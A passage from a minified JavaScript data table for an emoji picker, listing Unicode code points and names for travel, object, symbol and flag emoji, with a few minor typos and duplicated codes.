Game"},{code:"1f3b2",desc:"Game Die"},{code:"2660",desc:"Black Spade Suit"},{code:"2665",desc:"Black Heart SuiT"},{code:"2666",desc:"Black Diamond Suit"},{code:"2663",desc:"Black Club Suit"},{code:"1f0cf",desc:"Playing Card Black Joker"},{code:"1f004",desc:"Mahjong Tile Red Dragon"},{code:"1f3b4",desc:"Flower Playing Cards"}]},{id:"places",name:"Travel & Places",code:"1f30d",emoticons:[{code:"1f30d",desc:"Earth Globe Europe-Africa"},{code:"1f30e",desc:"Earth Globe Americas"},{code:"1f30f",desc:"Earth Globe Asia-Australia"},{code:"1f310",desc:"Globe with Meridians"},{code:"1f5fe",desc:"Silhouette of Japan"},{code:"1f30b",desc:"Volcano"},{code:"1f5fb",desc:"Mount Fuji"},{code:"1f3e0",desc:"House Building"},{code:"1f3e1",desc:"House with Garden"},{code:"1f3e2",desc:"Office Building"},{code:"1f3e3",desc:"Japanese Post Office"},{code:"1f3e4",desc:"European Post Office"},{code:"1f3e5",desc:"Hospital"},{code:"1f3e6",desc:"Bank"},{code:"1f3e8",desc:"Hotel"},{code:"1f3e9",desc:"Love Hotel"},{code:"1f3ea",desc:"Convenience Store"},{code:"1f3eb",desc:"School"},{code:"1f3ec",desc:"Department Store"},{code:"1f3ed",desc:"Factory"},{code:"1f3ef",desc:"Japanese Castle"},{code:"1f3f0",desc:"European Castle"},{code:"1f492",desc:"Wedding"},{code:"1f5fc",desc:"Tokyo Tower"},{code:"1f5fd",desc:"Statue of Liberty"},{code:"26ea",desc:"Church"},{code:"26f2",desc:"Fountain"},{code:"26fa",desc:"Tent"},{code:"1f301",desc:"Foggy"},{code:"1f303",desc:"Night with Stars"},{code:"1f304",desc:"Sunrise over Mountains"},{code:"1f305",desc:"Sunrise"},{code:"1f306",desc:"Cityscape at Dusk"},{code:"1f307",desc:"Sunset over Buildings"},{code:"1f309",desc:"Bridge at Night"},{code:"2668",desc:"Hot Springs"},{code:"1f30c",desc:"Milky Way"},{code:"1f3a0",desc:"Carousel Horse"},{code:"1f3a1",desc:"Ferris Wheel"},{code:"1f3a2",desc:"Roller Coaster"},{code:"1f488",desc:"Barber Pole"},{code:"1f3aa",desc:"Circus Tent"},{code:"1f3ad",desc:"Performing Arts"},{code:"1f3a8",desc:"Artist Palette"},{code:"1f3b0",desc:"Slot Machine"},{code:"1f682",desc:"Steam Locomotive"},{code:"1f683",desc:"Railway Car"},{code:"1f684",desc:"High-Speed Train"},{code:"1f685",desc:"High-Speed Train with Bullet Nose"},{code:"1f686",desc:"Train"},{code:"1f687",desc:"Metro"},{code:"1f688",desc:"Light Rail"},{code:"1f689",desc:"Station"},{code:"1f68a",desc:"Tram"},{code:"1f69d",desc:"Monorail"},{code:"1f69e",desc:"Mountain Railway"},{code:"1f68b",desc:"Tram Car"},{code:"1f68c",desc:"Bus"},{code:"1f68d",desc:"Oncoming Bus"},{code:"1f68e",desc:"Trolleybus"},{code:"1f690",desc:"Minibus"},{code:"1f691",desc:"Ambulance"},{code:"1f692",desc:"Fire Engine"},{code:"1f693",desc:"Police Car"},{code:"1f694",desc:"Oncoming Police Car"},{code:"1f695",desc:"Taxi"},{code:"1f695",desc:"Oncoming Taxi"},{code:"1f697",desc:"Automobile"},{code:"1f698",desc:"Oncoming Automobile"},{code:"1f699",desc:"Recreational Vehicle"},{code:"1f69a",desc:"Delivery Truck"},{code:"1f69b",desc:"Articulated Lorry"},{code:"1f69c",desc:"Tractor"},{code:"1f6b2",desc:"Bicycle"},{code:"1f68f",desc:"Bus Stop"},{code:"26fd",desc:"Fuel Pump"},{code:"1f6a8",desc:"Police Cars Revolving Light"},{code:"1f6a5",desc:"Horizontal Traffic Light"},{code:"1f6a6",desc:"Vertical Traffic Light"},{code:"1f6a7",desc:"Construction Sign"},{code:"2693",desc:"Anchor"},{code:"26f5",desc:"Sailboat"},{code:"1f6a4",desc:"Speedboat"},{code:"1f6a2",desc:"Ship"},{code:"2708",desc:"Airplane"},{code:"1f4ba",desc:"Seat"},{code:"1f681",desc:"Helicopter"},{code:"1f69f",desc:"Suspension Railway"},{code:"1f6a0",desc:"Mountain Cableway"},{code:"1f6a1",desc:"Aerial Tramway"},{code:"1f680",desc:"Rocket"},{code:"1f6aa",desc:"Door"},{code:"1f6bd",desc:"Toilet"},{code:"1f6bf",desc:"Shower"},{code:"1f6c1",desc:"Bathtub"},{code:"231b",desc:"Hourglass"},{code:"23f3",desc:"Hourglass with Flowing Sand"},{code:"231a",desc:"Watch"},{code:"23f0",desc:"Alarm Clock"},{code:"1f55b",desc:"Clock Face Twelve Oclock"},{code:"1f567",desc:"Clock Face Twelve-Thirty"},{code:"1f550",desc:"Clock Face One Oclock"},{code:"1f55c",desc:"Clock Face One-thirty"},{code:"1f551",desc:"Clock Face Two Oclock"},{code:"1f55d",desc:"Clock Face Two-thirty"},{code:"1f552",desc:"Clock Face Three Oclock"},{code:"1f55e",desc:"Clock Face Three-thirty"},{code:"1f553",desc:"Clock Face Four Oclock"},{code:"1f55f",desc:"Clock Face Four-thirty"},{code:"1f554",desc:"Clock Face Five Oclock"},{code:"1f560",desc:"Clock Face Five-thirty"},{code:"1f555",desc:"Clock Face Six Oclock"},{code:"1f561",desc:"Clock Face Six-thirty"},{code:"1f556",desc:"Clock Face Seven Oclock"},{code:"1f562",desc:"Clock Face Seven-thirty"},{code:"1f557",desc:"Clock Face Eight Oclock"},{code:"1f563",desc:"Clock Face Eight-thirty"},{code:"1f558",desc:"Clock Face Nine Oclock"},{code:"1f564",desc:"Clock Face Nine-thirty"},{code:"1f559",desc:"Clock Face Ten Oclock"},{code:"1f565",desc:"Clock Face Ten-thirty"},{code:"1f55a",desc:"Clock Face Eleven Oclock"},{code:"1f566",desc:"Clock Face Eleven-thirty"},{code:"1f311",desc:"New Moon Symbol"},{code:"1f312",desc:"Waxing Crescent Moon Symbol"},{code:"1f313",desc:"First Quarter Moon Symbol"},{code:"1f314",desc:"Waxing Gibbous Moon Symbol"},{code:"1f315",desc:"Full Moon Symbol"},{code:"1f316",desc:"Waning Gibbous Moon Symbol"},{code:"1f317",desc:"Last Quarter Moon Symbol"},{code:"1f318",desc:"Waning Crescent Moon Symbol"},{code:"1f319",desc:"Crescent Moon"},{code:"1f31a",desc:"New Moon with Face"},{code:"1f31b",desc:"First Quarter Moon with Face"},{code:"1f31c",desc:"Last Quarter Moon with Face"},{code:"2600",desc:"Black Sun with Rays"},{code:"1f31d",desc:"Full Moon with Face"},{code:"1f31e",desc:"Sun with Face"},{code:"2b50",desc:"White Medium Star"},{code:"1f31f",desc:"Glowing Star"},{code:"1f320",desc:"Shooting Star"},{code:"2601",desc:"Cloud"},{code:"26c5",desc:"Sun Behind Cloud"},{code:"1f300",desc:"Cyclone"},{code:"1f308",desc:"Rainbow"},{code:"1f302",desc:"Closed Umbrella"},{code:"2614",desc:"Umbrella with Rain Drops"},{code:"26a1",desc:"High Voltage Sign"},{code:"2744",desc:"Snowflake"},{code:"2603",desc:"Snowman Without Snow"},{code:"1f525",desc:"Fire"},{code:"1f4a7",desc:"Droplet"},{code:"1F30A",desc:"Water Wave"}]},{id:"objects",name:"Objects",code:"1F507",emoticons:[{code:"1F507",desc:"Speaker with Cancellation Stroke"},{code:"1F508",desc:"Speaker"},{code:"1F509",desc:"Speaker with One Sound Wave"},{code:"1F50A",desc:"Speaker with Three Sound Wave"},{code:"1F4E2",desc:"Public Address Loudspeaker"},{code:"1F4E3",desc:"Cheering Megaphone"},{code:"1F4EF",desc:"Postal Horn"},{code:"1F514",desc:"Bell"},{code:"1F515",desc:"Bell with Cancellation Stroke"},{code:"1F3BC",desc:"Musical Score"},{code:"1F3B5",desc:"Musical Note"},{code:"1F3B6",desc:"Multiple Musical Notes"},{code:"1F3A4",desc:"Microphone"},{code:"1F3A7",desc:"Headphone"},{code:"1F4FB",desc:"Radio"},{code:"1F3B7",desc:"Saxophone"},{code:"1F3B8",desc:"Guitar"},{code:"1F3B9",desc:"Musical Keyboard"},{code:"1F3BA",desc:"Trumpet"},{code:"1F3BB",desc:"Violin"},{code:"1F4F1",desc:"Mobile Phone"},{code:"1F4F2",desc:"Mobile Phone with Rightwards Arrow at Left"},{code:"260E",desc:"Black Telephone"},{code:"1F4DE",desc:"Telephone Receiver"},{code:"1F4DF",desc:"Pager"},{code:"1F4E0",desc:"Fax Machine"},{code:"1F50B",desc:"Battery"},{code:"1F50C",desc:"Electric Plug"},{code:"1F4BB",desc:"Personal Computer"},{code:"1F4BD",desc:"Minidisc"},{code:"1F4BE",desc:"Floppy Disk"},{code:"1F4BF",desc:"Optical Disk"},{code:"1F4C0",desc:"Dvd"},{code:"1F3A5",desc:"Movie Camera"},{code:"1F3AC",desc:"Clapper Board"},{code:"1F4FA",desc:"Television"},{code:"1F4F7",desc:"Camera"},{code:"1F4F9",desc:"Video Camera"},{code:"1F4FC",desc:"Videocassette"},{code:"1F50D",desc:"Left-Pointing Magnifying Glass"},{code:"1F50E",desc:"Right-Pointing Magnifying Glass"},{code:"1F52C",desc:"Microscope"},{code:"1F52D",desc:"Telelscope"},{code:"1F4E1",desc:"Satellite Antenna"},{code:"1F4A1",desc:"Electric Light Bulb"},{code:"1F526",desc:"Electric Torch"},{code:"1F3EE",desc:"Izakaya Lantern"},{code:"1F4D4",desc:"Notebook with Decorative Cover"},{code:"1F4D5",desc:"Closed Book"},{code:"1F4D6",desc:"Open Book"},{code:"1F4D7",desc:"Green Book"},{code:"1F4D8",desc:"Blue Book"},{code:"1F4D9",desc:"Orange Book"},{code:"1F4DA",desc:"Books"},{code:"1F4D3",desc:"Notebook"},{code:"1F4D2",desc:"Ledger"},{code:"1F4C3",desc:"Curl"},{code:"1F4DC",desc:"Scroll"},{code:"1F4C4",desc:"Page Facing Up"},{code:"1F4F0",desc:"Newspaper"},{code:"1F4D1",desc:"Bookmark Tabs"},{code:"1F516",desc:"Bookmark"},{code:"1F4B0",desc:"Money Bag"},{code:"1F4B4",desc:"Banknote with Yen Sign"},{code:"1F4B5",desc:"Banknote with Dollar Sign"},{code:"1F4B6",desc:"Banknote with Euro Sign"},{code:"1F4B7",desc:"Banknote with Pound Sign"},{code:"1F4B8",desc:"Money with Wings"},{code:"1F4B3",desc:"Credit Card"},{code:"1F4B9",desc:"Chart with Upwards Trend and Yen Sign"},{code:"1F4B1",desc:"Currency Exchange"},{code:"1F4B2",desc:"Heavy Dollar Sign"},{code:"2709",desc:"Envelope"},{code:"1F4E7",desc:"E-Mail Symbol"},{code:"1F4E8",desc:"Incoming Envelope"},{code:"1F4E9",desc:"Envelope with Downwards Arrow Above"},{code:"1F4E4",desc:"Outbox Tray"},{code:"1F4E5",desc:"Inbox Tray"},{code:"1F4E6",desc:"Package"},{code:"1F4BE",desc:"Closed Mailbox with Raised Flag"},{code:"1F4EA",desc:"Closed Mailbox with Lowered Flag"},{code:"1F4EC",desc:"Open Mailbox with Raised Flag"},{code:"1F4ED",desc:"Open Mailbox with Lowered Flag"},{code:"1F5F3",desc:"Postbox"},{code:"270F",desc:"Pencil"},{code:"2712",desc:"Black Nib"},{code:"1F4DD",desc:"Memo"},{code:"1F4BC",desc:"Briefcase"},{code:"1F4C1",desc:"File Folder"},{code:"1F4C2",desc:"Open File Folder"},{code:"1F4C5",desc:"Calender"},{code:"1F4C6",desc:"Tear-off Calender"},{code:"1F4C7",desc:"Card Index"},{code:"1F4C8",desc:"Chart with Upwards Trend"},{code:"1F4C9",desc:"Chart with Downwards Trend"},{code:"1F4CA",desc:"Bar Chart"},{code:"1F4CB",desc:"Clipboard"},{code:"1F4CC",desc:"Pushpin"},{code:"1F4CD",desc:"Round Pushpin"},{code:"1F4CE",desc:"Paperclip"},{code:"1F4CF",desc:"Straight Ruler"},{code:"1F4D0",desc:"Triangular Ruler"},{code:"2702",desc:"Black Scissors"},{code:"1F512",desc:"Lock"},{code:"1F513",desc:"Open Lock"},{code:"1F50F",desc:"Lock with Ink Pen"},{code:"1F510",desc:"Closed Lock with Key"},{code:"1F511",desc:"Key"},{code:"1F528",desc:"Hammer"},{code:"1F52B",desc:"Pistol"},{code:"1F527",desc:"Wrench"},{code:"1F529",desc:"Nut and Bolt"},{code:"1F517",desc:"Link Symbol"},{code:"1F489",desc:"Syringe"},{code:"1F48A",desc:"Pill"},{code:"1F6AC",desc:"Smoking Symbol"},{code:"1F5FF",desc:"Moyai"},{code:"1F52E",desc:"Crystal Ball"}]},{id:"symbols",name:"Symbols",code:"1F3E7",emoticons:[{code:"1F3E7",desc:"Automated Teller Machine"},{code:"1F6AE",desc:"Put Litter in Its Place Symbol"},{code:"1F6B0",desc:"Potable Water Symbol"},{code:"267F",desc:"Wheelchair Symbol"},{code:"1F6B9",desc:"Mens Symbol"},{code:"1F6BA",desc:"Womens Symbol"},{code:"1F6BB",desc:"Restroom"},{code:"1F6BC",desc:"Baby Symbol"},{code:"1F6BE",desc:"Water Closet"},{code:"1F6C2",desc:"Passport Control"},{code:"1F6C3",desc:"Customs"},{code:"1F6C4",desc:"Baggage Claim"},{code:"1F6C5",desc:"Left Luggage"},{code:"26A0",desc:"Warning Sign"},{code:"1F6B8",desc:"Children Crossing"},{code:"26D4",desc:"No Entry"},{code:"1F6AB",desc:"No Entry Sign"},{code:"1F6B3",desc:"No Bicycles"},{code:"1F6AD",desc:"No Smoking Symbol"},{code:"1F6AF",desc:"Do Not Litter Symbol"},{code:"1F6B1",desc:"Non-Potable Water Symbol"},{code:"1F6B7",desc:"No Pedestrians"},{code:"1F4F5",desc:"No Mobile Phones"},{code:"1F51E",desc:"No One Under Eighteen Symbol"},{code:"2B06",desc:"Upwards Black Arrow"},{code:"2197",desc:"North East Arrow"},{code:"27A1",desc:"Black Rightwards Arrow"},{code:"2198",desc:"South East Arrow"},{code:"2B07",desc:"Downwards Black Arrow"},{code:"2199",desc:"South West Arrow"},{code:"2B05",desc:"Leftwards Black Arrow"},{code:"2196",desc:"North West Arrow"},{code:"2195",desc:"Up Down Arrow"},{code:"2194",desc:"Left Right Arrow"},{code:"21A9",desc:"Leftwards Arrow with Hook"},{code:"21AA",desc:"Rightwards Arrow with Hook"},{code:"2934",desc:"Arrow Pointing Rightwards Then Curving Upwards"},{code:"2935",desc:"Arrow Pointing Rightwards Then Curving Downwards"},{code:"1F503",desc:"Clockwise Downwards and Upwards Open Circle Arrows"},{code:"1F504",desc:"Anticlockwise Downwards and Upwards Open Circle Arrows"},{code:"1F519",desc:"Back with Leftwards Arrow Above"},{code:"1F51A",desc:"End with Leftwards Arrow Above"},{code:"1F51B",desc:"On with Exclamation Mark with Left Right Arrow Above"},{code:"1F51C",desc:"Soon with Rightwards Arrow Above"},{code:"1F51D",desc:"Top with Upwards Arrow Above"},{code:"1F52F",desc:"Six Pointed Star with Middle Dot"},{code:"2648",desc:"Aries"},{code:"2649",desc:"Taurus"},{code:"264A",desc:"Gemini"},{code:"264B",desc:"Cancer"},{code:"264C",desc:"Leo"},{code:"264D",desc:"Virgo"},{code:"264E",desc:"Libra"},{code:"264F",desc:"Scorpius"},{code:"2650",desc:"Sagittarius"},{code:"2651",desc:"Capricorn"},{code:"2652",desc:"Aquarius"},{code:"2653",desc:"Pisces"},{code:"26CE",desc:"Ophiuchus"},{code:"1F500",desc:"Twisted Rightwards Arrows"},{code:"1F501",desc:"Clockwise Rightwards and Leftwards Open Circle Arrows"},{code:"1F502",desc:"Clockwise Rightwards and Leftwards Open Circle Arrows with Circled One Overlay"},{code:"25B6",desc:"Black Right-Pointing Triangle"},{code:"23E9",desc:"Black Right-Pointing Double Triangle"},{code:"25C0",desc:"Black Left-Pointing Triangle"},{code:"23EA",desc:"Black Left-Pointing Double Triangle"},{code:"1F53C",desc:"Up-Pointing Small Red Triangle"},{code:"23EB",desc:"Black Up-Pointing Double Triangle"},{code:"1F53D",desc:"Down-Pointing Small Red Triangle"},{code:"23EC",desc:"Black Down-Pointing Double Triangle"},{code:"1F3A6",desc:"Cinema"},{code:"1F505",desc:"Low Brightness Symbol"},{code:"1F506",desc:"High Brightness Symbol"},{code:"1F4F6",desc:"Antenna with Bars"},{code:"1F4F3",desc:"Vibration Mode"},{code:"1F4F4",desc:"Mobile Phone off"},{code:"267B",desc:"Black Universal Recycling Symbol"},{code:"1F531",desc:"Trident Emblem"},{code:"1F4DB",desc:"Name Badge"},{code:"1F530",desc:"Japanese Symbol for Beginner"},{code:"2B55",desc:"Heavy Large Circle"},{code:"2705",desc:"White Heavy Check Mark"},{code:"2611",desc:"Ballot Box with Check"},{code:"2714",desc:"Heavy Check Mark"},{code:"2716",desc:"Heavy Multiplication X"},{code:"274C",desc:"Cross Mark"},{code:"274E",desc:"Negative Squared Cross Mark"},{code:"2795",desc:"Heavy Plus Sign"},{code:"2796",desc:"Heavy Minus Sign"},{code:"2797",desc:"Heavy Division Sign"},{code:"27B0",desc:"Curly Loop"},{code:"27BF",desc:"Double Curly Loop"},{code:"303D",desc:"Part Alternation Mark"},{code:"2733",desc:"Eight Spoked Asterisk"},{code:"2734",desc:"Eight Pointed Black Star"},{code:"2747",desc:"Sparkle"},{code:"203C",desc:"Double Exclamation Mark"},{code:"2049",desc:"Exclamation Question Mark"},{code:"2753",desc:"Black Question Mark Ornament"},{code:"2754",desc:"White Question Mark Ornament"},{code:"2755",desc:"White Exclamation Mark Ornament"},{code:"2757",desc:"Heavy Exclamation Mark Symbol"},{code:"3030",desc:"Wavy Dash"},{code:"2122",desc:"Trade Mark Sign"},{code:"1F51F",desc:"Keycap Ten"},{code:"1F4AF",desc:"Hundred Points Symbol"},{code:"1F520",desc:"Input Symbol for Latin Capital Letters"},{code:"1F521",desc:"Input Symbol for Latin Small Letters"},{code:"1F522",desc:"Input Symbol for Numbers"},{code:"1F523",desc:"Input Symbol for Symbols"},{code:"1F524",desc:"Input Symbol for Latin Letters"},{code:"1F170",desc:"Negative Squared Latin Capital Letter a"},{code:"1F18E",desc:"Negative Squared Ab"},{code:"1F171",desc:"Negative Squared Latin Capital Letter B"},{code:"1F191",desc:"Squared Cl"},{code:"1F192",desc:"Squared Cool"},{code:"1F193",desc:"Squared Free"},{code:"2139",desc:"Information Source"},{code:"1F194",desc:"Squared Id"},{code:"24C2",desc:"Circled Latin Capital Letter M"},{code:"1F195",desc:"Squared New"},{code:"1F196",desc:"Squared Ng"},{code:"1F17E",desc:"Negative Squared Latin Capital Letter O"},{code:"1F197",desc:"Squared Ok"},{code:"1F17F",desc:"Negative Squared Latin Capital Letter P"},{code:"1F198",desc:"Squared Sos"},{code:"1F199",desc:"Squared Up with Exclamation Mark"},{code:"1F19A",desc:"Squared Vs"},{code:"1F201",desc:"Squared Katakana Koko"},{code:"1F202",desc:"Squared Katakana Sa"},{code:"1F237",desc:"Squared Cjk Unified Ideograph-6708"},{code:"1F236",desc:"Squared Cjk Unified Ideograph-6709"},{code:"1F22F",desc:"Squared Cjk Unified Ideograph-6307"},{code:"1F250",desc:"Circled Ideograph Advantage"},{code:"1F239",desc:"Squared Cjk Unified Ideograph-5272"},{code:"1F21A",desc:"Squared Cjk Unified Ideograph-7121"},{code:"1F232",desc:"Squared Cjk Unified Ideograph-7981"},{code:"1F251",desc:"Circled Ideograph Accept"},{code:"1F238",desc:"Squared Cjk Unified Ideograph-7533"},{code:"1F234",desc:"Squared Cjk Unified Ideograph-5408"},{code:"1F233",desc:"Squared Cjk Unified Ideograph-7a7a"},{code:"3297",desc:"Circled Ideograph Congratulation"},{code:"3299",desc:"Circled Ideograph Secret"},{code:"1F23A",desc:"Squared Cjk Unified Ideograph-55b6"},{code:"1F235",desc:"Squared Cjk Unified Ideograph-6e80"},{code:"25AA",desc:"Black Small Square"},{code:"25AB",desc:"White Small Square"},{code:"25FB",desc:"White Medium Square"},{code:"25FC",desc:"Black Medium Square"},{code:"25FD",desc:"White Medium Small Square"},{code:"25FE",desc:"Black Medium Small Square"},{code:"2B1B",desc:"Black Large Square"},{code:"2B1C",desc:"White Large Square"},{code:"1F536",desc:"Large Orange Diamond"},{code:"1F537",desc:"Large Blue Diamond"},{code:"1F538",desc:"Small Orange Diamond"},{code:"1F539",desc:"Small Blue Diamond"},{code:"1F53A",desc:"Up-Pointing Red Triangle"},{code:"1F53B",desc:"Down-Pointing Red Triangle"},{code:"1F4A0",desc:"Diamond Shape with a Dot Inside"},{code:"1F518",desc:"Radio Button"},{code:"1F532",desc:"Black Square Button"},{code:"1F533",desc:"White Square Button"},{code:"26AA",desc:"Medium White Circle"},{code:"26AB",desc:"Medium Black Circle"},{code:"1F534",desc:"Large Red Circle"},{code:"1F535",desc:"Large Blue Circle"}]},{id:"flags",name:"Flags",code:"1F3C1",emoticons:[{code:"1f3c1",desc:"Chequered Flag"},{code:"1f1e8-1f1f3",desc:"China Flag"},{code:"1f38c",desc:"Crossed Flags"},{code:"1f1e9-1f1ea",desc:"Germany Flag"},{code:"1f1ea-1f1f8",desc:"Spain Flag"},{code:"1f1e6-1f1e8",desc:"Ascension Island Flag"},{code:"1f1e6-1f1e9",desc:"Andorra Flag"},{code:"1f1e6-1f1ea",desc:"United Arab Emirates Flag"},{code:"1f1e6-1f1eb",desc:"Afghanistan Flag"},{code:"1f1e6-1f1ec",desc:"Antigua & Barbuda Flag"},{code:"1f1e6-1f1ee",desc:"Anguilla Flag"},{code:"1f1e6-1f1f1",desc:"Albania Flag"},{code:"1f1e6-1f1f2",desc:"Armenia Flag"},{code:"1f1e6-1f1f4",desc:"Angola Flag"},{code:"1f1e6-1f1f6",desc:"Antarctica Flag"},{code:"1f1e6-1f1f7",desc:"Argentina Flag"},{code:"1f1e6-1f1f8",desc:"American Samoa Flag"},{code:"1f1e6-1f1f9",desc:"Austria Flag"},{code:"1f1e6-1f1fa",desc:"Australia Flag"},{code:"1f1e6-1f1fc",desc:"Aruba Flag"},{code:"1f1e6-1f1fd",desc:"\xc5land Islands Flag"},{code:"1f1e6-1f1ff",desc:"Azerbaijan Flag"},{code:"1f1e7-1f1e7",desc:"Barbados Flag"},{code:"1f1e7-1f1e9",desc:"Bangladesh Flag"},{code:"1f1e7-1f1ea",desc:"Belgium Flag"},{code:"1f1e7-1f1eb",desc:"Burkina Faso Flag"},{code:"1f1e7-1f1ec",desc:"Bulgaria Flag"},{code:"1f1e7-1f1ed",desc:"Bahrain Flag"},{code:"1f1e7-1f1ee",desc:"Burundi Flag"},{code:"1f1e7-1f1ef",desc:"Benin Flag"},{code:"1f1e7-1f1f1",desc:"St. Barth\xe9lemy Flag"},{code:"1f1e7-1f1f2",desc:"Bermuda Flag"},{code:"1f1e7-1f1f4",desc:"Bolivia Flag"},{code:"1f1e7-1f1f6",desc:"Caribbean Netherlands Flag"},{code:"1f1e7-1f1f7",desc:"Brazil Flag"},{code:"1f1e7-1f1f8",desc:"Bahamas Flag"},{code:"1f1e7-1f1f9",desc:"Bhutan Flag"},{code:"1f1e7-1f1fb",desc:"Bouvet Island Flag"},{code:"1f1e7-1f1fc",desc:"Botswana Flag"},{code:"1f1e7-1f1fe",desc:"Belarus Flag"},{code:"1f1e7-1f1ff",desc:"Belize Flag"},{code:"1f1e8-1f1e6",desc:"Canada Flag"},{code:"1f1e8-1f1e8",desc:"Cocos (keeling) Islands Flag"},{code:"1f1e8-1f1e9",desc:"Congo - Kinshasa Flag"},{code:"1f1e8-1f1eb",desc:"Central African Republic Flag"},{code:"1f1e8-1f1ec",desc:"Congo - Brazzaville Flag"},{code:"1f1e8-1f1ed",desc:"Switzerland Flag"},{code:"1f1e8-1f1ee",desc:"C\xf4te D\u2019ivoire Flag"},{code:"1f1e8-1f1f0",desc:"Cook Islands Flag"},{code:"1f1e8-1f1f1",desc:"Chile Flag"},{code:"1f1e8-1f1f2",desc:"Cameroon Flag"},{code:"1f1e8-1f1f4",desc:"Colombia Flag"},{code:"1f1e8-1f1f7",desc:"Costa Rica Flag"},{code:"1f1e8-1f1fa",desc:"Cuba Flag"},{code:"1f1e8-1f1fb",desc:"Cape Verde Flag"},{code:"1f1e8-1f1fc",desc:"Cura\xe7ao Flag"},{code:"1f1e8-1f1fd",desc:"Christmas Island Flag"},{code:"1f1e8-1f1fe",desc:"Cyprus Flag"},{code:"1f1e8-1f1ff",desc:'Czechia Flag"'},{code:"1f1e9-1f1ec",desc:"Diego Garcia Flag"},{code:"1f1e9-1f1ef",desc:"Djibouti Flag"},{code:"1f1e9-1f1f0",desc:"Denmark Flag"},{code:"1f1e9-1f1f2",desc:"Dominica Flag"},{code:"1f1e9-1f1f4",desc:"Dominican Republic Flag"},{code:"1f1e9-1f1ff",desc:"Algeria Flag"},{code:"1f1ea-1f1e6",desc:"Ceuta & Melilla Flag"},{code:"1f1ea-1f1e8",desc:"Ecuador Flag"},{code:"1f1ea-1f1ea",desc:"Estonia Flag"},{code:"1f1ea-1f1ec",desc:"Egypt Flag"},{code:"1f1ea-1f1ed",desc:"Western Sahara Flag"},{code:"1f1ea-1f1f7",desc:"Eritrea Flag"},{code:"1f1ea-1f1f9",desc:"Ethiopia Flag"},{code:"1f1ea-1f1fa",desc:"European Union Flag"},{code:"1f1eb-1f1ee",desc:"Finland Flag"},{code:"1f1eb-1f1ef",desc:"Fiji Flag"},{code:"1f1eb-1f1f0",desc:"Falkland Islands Flag"},{code:"1f1eb-1f1f2",desc:"Micronesia Flag"},{code:"1f1eb-1f1f4",desc:"Faroe Islands Flag"},{code:"1f1ec-1f1e6",desc:"Gabon Flag"},{code:"1f1ec-1f1e9",desc:"Grenada Flag"},{code:"1f1ec-1f1ea",desc:"Georgia Flag"},{code:"1f1ec-1f1eb",desc:"French Guiana Flag"},{code:"1f1ec-1f1ec",desc:"Guernsey Flag"},{code:"1f1ec-1f1ed",desc:"Ghana Flag"},{code:"1f1ec-1f1ee",desc:"Gibraltar Flag"},{code:"1f1ec-1f1f1",desc:"Greenland Flag"},{code:"1f1ec-1f1f2",desc:"Gambia Flag"},{code:"1f1ec-1f1f3",desc:"Guinea Flag"},{code:"1f1ec-1f1f5",desc:"Guadeloupe Flag"},{code:"1f1ec-1f1f6",desc:"Equatorial Guinea Flag"},{code:"1f1ec-1f1f7",desc:"Greece Flag"},{code:"1f1ec-1f1f8",desc:"South Georgia & South Sandwich Islands Flag"},{code:"1f1ec-1f1f9",desc:"Guatemala Flag"},{code:"1f1ec-1f1fa",desc:"Guam Flag"},{code:"1f1ec-1f1fc",desc:"Guinea-Bissau Flag"},{code:"1f1ec-1f1fe",desc:"Guyana Flag"},{code:"1f1ed-1f1f0",desc:"Hong Kong Sar China Flag"},{code:"1f1ed-1f1f2",desc:"Heard & Mcdonald Islands Flag"},{code:"1f1ed-1f1f3",desc:"Honduras Flag"},{code:"1f1ed-1f1f7",desc:"Croatia Flag"},{code:"1f1ed-1f1f9",desc:"Haiti Flag"},{code:"1f1ed-1f1fa",desc:"Hungary Flag"},{code:"1f1ee-1f1e8",desc:"Canary Islands Flag"},{code:"1f1ee-1f1e9",desc:"Indonesia Flag"},{code:"1f1ee-1f1ea",desc:"Ireland Flag"},{code:"1f1ee-1f1f1",desc:"Israel Flag"},{code:"1f1ee-1f1f2",desc:"Isle of Man Flag"},{code:"1f1ee-1f1f3",desc:"India Flag"},{code:"1f1ee-1f1f4",desc:"British Indian Ocean Territory Flag"},{code:"1f1ee-1f1f6",desc:"Iraq Flag"},{code:"1f1ee-1f1f7",desc:"Iran Flag"},{code:"1f1ee-1f1f8",desc:"Iceland Flag"},{code:"1f1ef-1f1ea",desc:"Jersey Flag"},{code:"1f1ef-1f1f2",desc:"Jamaica Flag"},{code:"1f1ef-1f1f4",desc:"Jordan Flag"},{code:"1f1f0-1f1ea",desc:"Kenya Flag"},{code:"1f1f0-1f1ec",desc:"Kyrgyzstan Flag"},{code:"1f1f0-1f1ed",desc:"Cambodia Flag"},{code:"1f1f0-1f1ee",desc:"Kiribati Flag"},{code:"1f1f0-1f1f2",desc:"Comoros Flag"},{code:"1f1f0-1f1f3",desc:"St. Kitts & Nevis Flag"},{code:"1f1f0-1f1f5",desc:"North Korea Flag"},{code:"1f1f0-1f1fc",desc:"Kuwait Flag"},{code:"1f1f0-1f1fe",desc:"Cayman Islands Flag"},{code:"1f1f0-1f1ff",desc:"Kazakhstan Flag"},{code:"1f1f1-1f1e6",desc:"Laos Flag"},{code:"1f1f1-1f1e7",desc:"Lebanon Flag"},{code:"1f1f1-1f1e8",desc:"St. Lucia Flag"},{code:"1f1f1-1f1ee",desc:"Liechtenstein Flag"},{code:"1f1f1-1f1f0",desc:"Sri Lanka Flag"},{code:"1f1f1-1f1f7",desc:"Liberia Flag"},{code:"1f1f1-1f1f8",desc:"Lesotho Flag"},{code:"1f1f1-1f1f9",desc:"Lithuania Flag"},{code:"1f1f1-1f1fa",desc:"Luxembourg Flag"},{code:"1f1f1-1f1fb",desc:"Latvia Flag"},{code:"1f1f1-1f1fe",desc:"Libya Flag"},{code:"1f1f2-1f1e6",desc:"Morocco Flag"},{code:"1f1f2-1f1e8",desc:"Monaco Flag"},{code:"1f1f2-1f1e9",desc:"Moldova Flag"},{code:"1f1f2-1f1ea",desc:"Montenegro Flag"},{code:"1f1f2-1f1eb",desc:"St. Martin Flag"},{code:"1f1f2-1f1ec",desc:"Madagascar Flag"},{code:"1f1f2-1f1ed",desc:"Marshall Islands Flag"},{code:"1f1f2-1f1f0",desc:"Macedonia Flag"},{code:"1f1f2-1f1f1",desc:"Mali Flag"},{code:"1f1f2-1f1f2",desc:"Myanmar (burma) Flag"},{code:"1f1f2-1f1f3",desc:"Mongolia Flag"},{code:"1f1f2-1f1f4",desc:"Macau Sar China Flag"},{code:"1f1f2-1f1f5",desc:"Northern Mariana Islands Flag"},{code:"1f1f2-1f1f6",desc:"Martinique Flag"},{code:"1f1f2-1f1f7",desc:"Mauritania 